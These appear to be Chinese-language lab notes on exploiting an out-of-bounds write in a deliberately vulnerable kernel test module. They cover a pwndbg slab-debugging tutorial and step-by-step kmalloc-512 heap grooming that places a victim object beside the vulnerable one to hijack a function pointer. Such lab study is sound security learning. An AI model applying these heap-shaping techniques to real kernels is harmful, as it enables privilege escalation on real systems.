

SLAKE_lab_notes

原始程序

```
user@kernel:/tmp/share/synthesis/synthesis/oob/slake$ ./exp
[*] Kernel OOB Exploit Simulation
[+] Found bad_function address: 0xffffffffc00002fa
[+] Device opened successfully.
[+] Successfully alloc vulobj with handler: 4
[+] Successfully alloc victim_obj with handler: 4
[+] Executing original funptr...
[ 167.929866] good
[+] Overwriting funptr with bad_function address...
[+] Overwrite done.
[+] Executing hijacked funptr...
[ 167.930506] bad
[+] Execute command sent. Run 'dmesg | tail' to check if 'bad' was printed!
```

如上图，在不使用任何堆风水技术时，victim_obj也有可能分配在vulobj后面一个slot，进而成功触发OOB漏洞改写函数指针，但成功率较低。

pwndbg slab debug 极简教程

开始使用 pwndbg:

```
git clone git@github.com:pwndbg/pwndbg.git
cd pwndbg
./setup.sh
```

slab debug 常用命令:

- slab list (列出所有缓存)
这是最基础的命令，用于概览当前系统内核中所有的 SLUB 缓存。
用法: slab list [filter]
参数: filter (可选)，只显示名称中包含该字符串的缓存（例如 slab list kmalloc）。
输出: 显示名称、对象数量、对象大小、正在使用的对象数以及页面阶数（order）。
- slab info (查看特定缓存详情)
这是调试核心，用于深入查看某个特定 kmem_cache 的内部状态。
用法: slab info [options]
必需参数: name (缓存名称，如 kmalloc-128)。
可选参数:
 - v / --verbose: 最常用。不仅列出 Slab 统计，还会打印出该 Slab 中每一个对象的状态（是 in-use 还是 free），并追踪 freelist 链表。
 - c / --cpu: 只显示指定 CPU 核心的本地缓存（kmem_cache_cpu）。
 - n / --node: 只显示指定 NUMA 节点的缓存（kmem_cache_node）。
 - p / --partial: 只显示部分满（Partial）的 Slab 列表。
 - a / --active: 只显示当前处于活跃状态（Active）的 Slab。

- slab contains (地址逆向查询)

当你有一个内存地址，想知道它属于哪个 Slab 缓存时使用。

用法: slab contains

功能: 它会告诉你该地址所属的 *kmem_cache* 名称、该对象当前的分配状态 (*free* 或 *in-use*)、所属 Slab 的位置 (是在 CPU 缓存中还是在 Node 的 Partial 列表中)。

debug loadable modules using GDB

1. 将module(*.ko)加载到guest

```
user@kernel:/tmp/share$ cd synthesis/synthesis/oob/slake
user@kernel:/tmp/share/synthesis/synthesis/oob/slake$ sudo insmod
oob_heapfengshui.ko
[ 127.623582] oob_heapfengshui: loading out-of-tree module taints kernel.
[ 127.635848] [UV] good func: 0xffffffffc00001af
[ 127.636291] [UV] bad func: 0xffffffffc00001bd
```

2. 从guest的/sys/module/*/sections获得module section的信息

```
user@kernel:/tmp/share/synthesis/synthesis/oob/slake$ cd
/sys/module/oob_heapfengshui/sections
user@kernel:/sys/module/oob_heapfengshui/sections$ sudo cat .text .data .bss
0xffffffffc0000000
0xffffffffc0002000
0xffffffffc00023c0
```

3. 在host中运行GDB

```
gdb ~/kernel/v5.13/x86_64/vmlinux

pwndbg> target remote :1234
pwndbg> add-symbol-file
~/kernel/share/synthesis/synthesis/oob/slake/oob_heapfengshui.ko
0xffffffffc0000000 -s .data 0xffffffffc0002000 -s .bss 0xffffffffc00023c0
add symbol table from file
"/home/user/kernel/share/synthesis/synthesis/oob/slake/oob_heapfengshui.ko"
at
    .text_addr = 0xffffffffc0000000
    .data_addr = 0xffffffffc0002000
    .bss_addr = 0xffffffffc00023c0
Reading symbols from
/home/user/kernel/share/synthesis/synthesis/oob/slake/oob_heapfengshui.ko...
```

4. 现在即可对加载的内核模块中的一些符号设置断点

heap layout manipulation

defragmentation

运行analyze_slabinfo.py可获得当前slab的free_object的统计信息:

```
user@os-kern-exp:~/Kernel/share/synthesis/synthesis/oob/slake$ python3
analyze_slabinfo.py
--- 统计报告: slab_info.txt ---
Active Slab Free:      2
Per-CPU Partial Free:  8
Per-Node Partial Free: 67
-----
总计 Free Objects:     77
```

耗尽原来kmem_cache中的free_obj

先执行如下命令:

```
@kernel:/tmp/share/synthesis/synthesis/oob/slake$ ./manage_heap alloc_vic 77
```

```
pwndbg> slab info kmalloc-512 -v
Slab Cache @ 0xffff888100041a00
  Name: kmalloc-512
  Flags: (none)
  Offset: 0x100
  Slab size: 0x1000
  Size (including metadata): 0x200
  Align: 0x200
  Object Size: 0x200
  Usercopy region offset: 0
  Usercopy region size: 512
  kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
    Freelist: 0x0
    Active Slab:
      - Slab @ 0xffff8881033bc000 [0xffffea00040cef00]:
        In-Use: 8/8
        Frozen: 1
        Freelist: 0x0
        - [0x--] 0xffff8881033bc000 (in-use)
        - [0x--] 0xffff8881033bc200 (in-use)
        - [0x--] 0xffff8881033bc400 (in-use)
        - [0x--] 0xffff8881033bc600 (in-use)
        - [0x--] 0xffff8881033bc800 (in-use)
        - [0x--] 0xffff8881033bca00 (in-use)
        - [0x--] 0xffff8881033bcc00 (in-use)
        - [0x--] 0xffff8881033bce00 (in-use)
      Partial Slabs: (none)
  kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
    Partial Slabs: (none)
```

由上图, active_slab中没有free_obj, per_CPU和node中的partial_slab均为None。说明原来的kmalloc-512已经完全被占满。

继续分配(victim)obj

```
pwndbg> slab info kmalloc-512 -v
Slab Cache @ 0xffff888100041a00
  Name: kmalloc-512
  Flags: (none)
  Offset: 0x100
  Slab size: 0x1000
  Size (including metadata): 0x200
  Align: 0x200
  Object Size: 0x200
  Usercopy region offset: 0
  Usercopy region size: 512
  kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
    Freelist: 0xffff888101660200
    Active Slab:
      - Slab @ 0xffff888101660000 [0xffffea0004059800]:
        In-Use: 1/8
        Frozen: 1
        Freelist: 0x0
        - [0x--] 0xffff888101660000 (in-use)
        - [0x00] 0xffff888101660200 (next: 0xffff888101660400) [CPU cache]
        - [0x01] 0xffff888101660400 (next: 0xffff888101660600) [CPU cache]
        - [0x02] 0xffff888101660600 (next: 0xffff888101660800) [CPU cache]
        - [0x03] 0xffff888101660800 (next: 0xffff888101660a00) [CPU cache]
        - [0x04] 0xffff888101660a00 (next: 0xffff888101660c00) [CPU cache]
        - [0x05] 0xffff888101660c00 (next: 0xffff888101660e00) [CPU cache]
        - [0x06] 0xffff888101660e00 (no next) [CPU cache]
      Partial Slabs: (none)
  kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
    Partial Slabs: (none)
```

如上图，当此时再分配一个obj时，buddy allocator会给kmalloc-512这个kmem_cache分配一个新的slab。

```

Slab Cache @ 0xffff888100041a00
  Name: kmalloc-512
  Flags: (none)
  Offset: 0x100
  Slab size: 0x1000
  Size (including metadata): 0x200
  Align: 0x200
  Object Size: 0x200
  Usercopy region offset: 0
  Usercopy region size: 512
  kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
    Freelist: 0xffff888101660400
    Active Slab:
      - Slab @ 0xffff888101660000 [0xffffea0004059800]:
        In-Use: 2/8
        Frozen: 1
        Freelist: 0x0
        - [0x--] 0xffff888101660000 (in-use)
        - [0x--] 0xffff888101660200 (in-use)
        - [0x00] 0xffff888101660400 (next: 0xffff888101660600) [CPU cache]
        - [0x01] 0xffff888101660600 (next: 0xffff888101660800) [CPU cache]
        - [0x02] 0xffff888101660800 (next: 0xffff888101660a00) [CPU cache]
        - [0x03] 0xffff888101660a00 (next: 0xffff888101660c00) [CPU cache]
        - [0x04] 0xffff888101660c00 (next: 0xffff888101660e00) [CPU cache]
        - [0x05] 0xffff888101660e00 (no next) [CPU cache]
      Partial Slabs: (none)
  kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
    Partial Slabs: (none)
pwndbg> x/16b 0xffff888101660200
0xffff888101660200: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffff888101660208: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

```

上图执行 `./manage_heap alloc_vul 1` 分配vulobj到0xffff888101660200。

```

Slab Cache @ 0xffff888100041a00
  Name: kmalloc-512
  Flags: (none)
  Offset: 0x100
  Slab size: 0x1000
  Size (including metadata): 0x200
  Align: 0x200
  Object Size: 0x200
  Usercopy region offset: 0
  Usercopy region size: 512
  kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
    Freelist: 0xffff888101660600
    Active Slab:
      - Slab @ 0xffff888101660000 [0xffffea0004059800]:
        In-Use: 3/8
        Frozen: 1
        Freelist: 0x0
        - [0x--] 0xffff888101660000 (in-use)
        - [0x--] 0xffff888101660200 (in-use)
        - [0x--] 0xffff888101660400 (in-use)
        - [0x00] 0xffff888101660600 (next: 0xffff888101660800) [CPU cache]
        - [0x01] 0xffff888101660800 (next: 0xffff888101660a00) [CPU cache]
        - [0x02] 0xffff888101660a00 (next: 0xffff888101660c00) [CPU cache]
        - [0x03] 0xffff888101660c00 (next: 0xffff888101660e00) [CPU cache]
        - [0x04] 0xffff888101660e00 (no next) [CPU cache]
      Partial Slabs: (none)
  kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
    Partial Slabs: (none)
pwndbg> x/16b 0xffff888101660400
0xffff888101660400: 0xaf 0x01 0x00 0xc0 0xff 0xff 0xff 0xff
0xffff888101660408: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42

```

上图执行 `./manage_heap alloc_vic 1` 分配victim到0xffff888101660400。此时victim正好在vulobj的后面。

target slot is unoccupied

allocating vulobj

```
kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888100a81600
  Active Slab:
    - Slab @ 0xffff888100a81000 [0xffffea000402a040]:
      In-Use: 3/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888100a81000 (in-use)
      - [0x--] 0xffff888100a81200 (in-use)
      - [0x--] 0xffff888100a81400 (in-use)
      - [0x00] 0xffff888100a81600 (next: 0xffff888100a81800) [CPU cache]
      - [0x01] 0xffff888100a81800 (next: 0xffff888100a81a00) [CPU cache]
      - [0x02] 0xffff888100a81a00 (next: 0xffff888100a81c00) [CPU cache]
      - [0x03] 0xffff888100a81c00 (next: 0xffff888100a81e00) [CPU cache]
      - [0x04] 0xffff888100a81e00 (no next) [CPU cache]
    Partial Slabs: (none)
kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
  Partial Slabs: (none)
```

```
pwndbg> x/16b 0xffff888100a81400
0xffff888100a81400:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffff888100a81408:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
```

vulobj位于400.

display freelist

try allocating victim

```
kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888100a81a00
  Active Slab:
    - Slab @ 0xffff888100a81000 [0xffffea000402a040]:
      In-Use: 4/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888100a81000 (in-use)
      - [0x--] 0xffff888100a81200 (in-use)
      - [0x--] 0xffff888100a81400 (in-use)
      - [0x01] 0xffff888100a81600 (next: 0xffff888100a81c00) [CPU cache]
      - [0x--] 0xffff888100a81800 (in-use)
      - [0x00] 0xffff888100a81a00 (next: 0xffff888100a81600) [CPU cache]
      - [0x02] 0xffff888100a81c00 (next: 0xffff888100a81e00) [CPU cache]
      - [0x03] 0xffff888100a81e00 (no next) [CPU cache]
    Partial Slabs: (none)
kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
  Partial Slabs: (none)
```

victim_obj位于0x800.

此时victim本来应该在的位置600为空。

allocating (j - i) objs and allocate victim again

$i = 1, j = 2, i < j$, 因此我们需要再分配 $(j - i) = 1$ 个obj? 但实际上由上图和实际结果, 我们又分配了2个victim后, 600仍然为空:

```
kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888100a81600
  Active Slab:
    - Slab @ 0xffff888100a81000 [0xffffea000402a040]:
      In-Use: 6/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888100a81000 (in-use)
      - [0x--] 0xffff888100a81200 (in-use)
      - [0x--] 0xffff888100a81400 (in-use)
      - [0x00] 0xffff888100a81600 (next: 0xffff888100a81e00) [CPU cache]
      - [0x--] 0xffff888100a81800 (in-use)
      - [0x--] 0xffff888100a81a00 (in-use)
      - [0x--] 0xffff888100a81c00 (in-use)
      - [0x01] 0xffff888100a81e00 (no next) [CPU cache]
```

allocate victim again

```
kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888100a81e00
  Active Slab:
    - Slab @ 0xffff888100a81000 [0xffffea000402a040]:
      In-Use: 7/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888100a81000 (in-use)
      - [0x--] 0xffff888100a81200 (in-use)
      - [0x--] 0xffff888100a81400 (in-use)
      - [0x--] 0xffff888100a81600 (in-use)
      - [0x--] 0xffff888100a81800 (in-use)
      - [0x--] 0xffff888100a81a00 (in-use)
      - [0x--] 0xffff888100a81c00 (in-use)
      - [0x00] 0xffff888100a81e00 (no next) [CPU cache]
```

victim_obj最后位于600.

target slot is occupied

defragmentation


```

pwndbg> slab info kmalloc-512 -v
Slab Cache @ 0xffff888100041a00
  Name: kmalloc-512
  Flags: (none)
  Offset: 0x100
  Slab size: 0x1000
  Size (including metadata): 0x200
  Align: 0x200
  Object Size: 0x200
  Usercopy region offset: 0
  Usercopy region size: 512
  kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
    Freelist: 0xffff888108dec400
    Active Slab:
      - Slab @ 0xffff888108dec000 [0xffffea0004237b00]:
        In-Use: 1/8
        Frozen: 1
        Freelist: 0x0
        - [0x--] 0xffff888108dec000 (in-use)
        - [0x01] 0xffff888108dec200 (next: 0xffff888108dec600) [CPU cache]
        - [0x00] 0xffff888108dec400 (next: 0xffff888108dec200) [CPU cache]
        - [0x02] 0xffff888108dec600 (next: 0xffff888108dec800) [CPU cache]
        - [0x03] 0xffff888108dec800 (next: 0xffff888108deca00) [CPU cache]
        - [0x04] 0xffff888108deca00 (next: 0xffff888108decc00) [CPU cache]
        - [0x05] 0xffff888108decc00 (next: 0xffff888108dece00) [CPU cache]
        - [0x06] 0xffff888108dece00 (no next) [CPU cache]
      Partial Slabs: (none)
  kmem_cache_node @ 0xffff888100040280 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
    Partial Slabs: (none)

```

可以看到此时kmem_cache中只有一个active_slab，其000处存放着dummy_obj。

allocate vulobj

```

kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888108dec200
  Active Slab:
    - Slab @ 0xffff888108dec000 [0xffffea0004237b00]:
      In-Use: 2/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888108dec000 (in-use)
      - [0x00] 0xffff888108dec200 (next: 0xffff888108dec600) [CPU cache]
      - [0x--] 0xffff888108dec400 (in-use)
      - [0x01] 0xffff888108dec600 (next: 0xffff888108dec800) [CPU cache]
      - [0x02] 0xffff888108dec800 (next: 0xffff888108deca00) [CPU cache]
      - [0x03] 0xffff888108deca00 (next: 0xffff888108decc00) [CPU cache]
      - [0x04] 0xffff888108decc00 (next: 0xffff888108dece00) [CPU cache]
      - [0x05] 0xffff888108dece00 (no next) [CPU cache]

```

vulobj被分配在400。

simulate target slot is occupied and allocate victim

Then allocate 2 dummy_objs.


```

kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888108dec800
  Active Slab:
    - Slab @ 0xffff888108dec000 [0xffffea0004237b00]:
      In-Use: 4/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888108dec000 (in-use)
      - [0x--] 0xffff888108dec200 (in-use)
      - [0x--] 0xffff888108dec400 (in-use)
      - [0x--] 0xffff888108dec600 (in-use)
      - [0x00] 0xffff888108dec800 (next: 0xffff888108deca00) [CPU cache]
      - [0x01] 0xffff888108deca00 (next: 0xffff888108decc00) [CPU cache]
      - [0x02] 0xffff888108decc00 (next: 0xffff888108dece00) [CPU cache]
      - [0x03] 0xffff888108dece00 (no next) [CPU cache]

```

200->dummy [99]

600->dummy [100]

```

kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888108deca00
  Active Slab:
    - Slab @ 0xffff888108dec000 [0xffffea0004237b00]:
      In-Use: 5/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888108dec000 (in-use)
      - [0x--] 0xffff888108dec200 (in-use)
      - [0x--] 0xffff888108dec400 (in-use)
      - [0x--] 0xffff888108dec600 (in-use)
      - [0x--] 0xffff888108dec800 (in-use)
      - [0x00] 0xffff888108deca00 (next: 0xffff888108decc00) [CPU cache]
      - [0x01] 0xffff888108decc00 (next: 0xffff888108dece00) [CPU cache]
      - [0x02] 0xffff888108dece00 (no next) [CPU cache]

```

800->victim [0]

free objs and reconstruct the freelist

```

user@kernel:/tmp/share/synthesis/synthesis/oob/slake$ ./man free_vic 0
[+] Freed VICTIM index: 0
user@kernel:/tmp/share/synthesis/synthesis/oob/slake$ ./man free_dmy 99
[+] Freed DUMMY index: 99
user@kernel:/tmp/share/synthesis/synthesis/oob/slake$ ./man free_dmy 100
[+] Freed DUMMY index: 100

```

```

kmem_cache_cpu @ 0xffff88813bc2c960 [CPU 0]:
  Freelist: 0xffff888108dec600
  Active Slab:
    - Slab @ 0xffff888108dec000 [0xffffea0004237b00]:
      In-Use: 2/8
      Frozen: 1
      Freelist: 0x0
      - [0x--] 0xffff888108dec000 (in-use)
      - [0x01] 0xffff888108dec200 (next: 0xffff888108dec800) [CPU cache]
      - [0x--] 0xffff888108dec400 (in-use)
      - [0x00] 0xffff888108dec600 (next: 0xffff888108dec200) [CPU cache]
      - [0x02] 0xffff888108dec800 (next: 0xffff888108deca00) [CPU cache]
      - [0x03] 0xffff888108deca00 (next: 0xffff888108decc00) [CPU cache]
      - [0x04] 0xffff888108decc00 (next: 0xffff888108dece00) [CPU cache]
      - [0x05] 0xffff888108dece00 (no next) [CPU cache]

```

Then the next allocation will be exactly at 600.